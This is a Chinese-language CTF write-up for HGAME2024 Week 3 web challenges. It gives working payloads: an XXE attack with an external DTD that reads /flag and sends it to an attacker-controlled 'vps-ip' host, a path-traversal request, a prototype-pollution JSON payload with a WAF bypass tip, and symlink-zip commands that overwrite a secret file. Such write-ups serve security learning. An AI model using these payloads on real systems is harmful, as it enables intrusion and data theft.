HGAME2024 Week3 Writeup
Author: Ec3o
Web
Vidarbox
漏洞描述: XXE攻击漏洞
利用步骤:
- 发现可通过
file://
传参点触发 XXE 漏洞。 - 在外部服务器构造一个包含 flag 的 XML 文件,并触发 payload。
构造 FTP 服务器代码如下:
python
# Python FTP 服务器代码
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("/var/www/html", perm="r")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()
利用 Java 代码绕过 XXE 的 payload:
Java
// Java 代码绕过 XXE
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
public class TestPOC {
public static void main(String[] args) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("poc-remote.xml");
fileOutputStream.write("<?xml version=\"1.0\" encoding=\"UTF-16BE\" ?\n<!DOCTYPE foo SYSTEM \"http://vps-ip/evil.dtd\">".getBytes(StandardCharsets.UTF_16BE));
fileOutputStream.close();
}
}
构造 evil.dtd 文件内容如下:
xml
<!-- evil.dtd 文件内容 -->
<!ENTITY % payload SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://vps-ip:2333/%payload;'>">
%int;
%trick;
Payload:
bash
http://localhost:8081/backdoor?fname=../../vps-ip/payload
WebVPN
漏洞描述: 原型链污染漏洞
利用步骤:
在 strategy 列表中加入 127.0.0.1。 利用原型链污染绕过限制,将 127.0.0.1 添加到 strategy 中。 Payload:
json
{
"__proto__": {
"strategy": {
"127.0.0.1": true
}
}
}
可使用 constructor.prototype 来绕过对 proto 的 WAF。
ZeroLink
关注一下gorm的代码,发现
HTTP
POST /api/user HTTP/1.1
Host: 139.196.183.57:30895
User-Agent: Apifox/1.0.0 (https://apifox.com)
Content-Type: application/json
Accept: */*
Host: 139.196.183.57:30895
Connection: keep-alive
{"username":"","token":""}
拿到了Admin的密码.
构造恶意zip文件名,实现敏感文件解压覆写即可完成攻击。 结合题目中的Link,不难猜出要利用软链接来修改/app/secret敏感文件.
bash
ln -s /app link
zip --symlinks 1.zip link
上传1.zip后调⽤ /api/unzip 接⼝完成解压。
再创建⼀个 link/secret ⽂件,⽂件内容为 /flag ,然后压缩这个 link ⽬录为2.zip,上传后 调⽤ /api/unzip 接⼝进⾏解压,⽤⾃定义的secret⽂件覆盖系统中原有的secret⽂件。
bash
zip -r 2.zip link
完成后调⽤ /api/secret 接⼝,即可得到flag。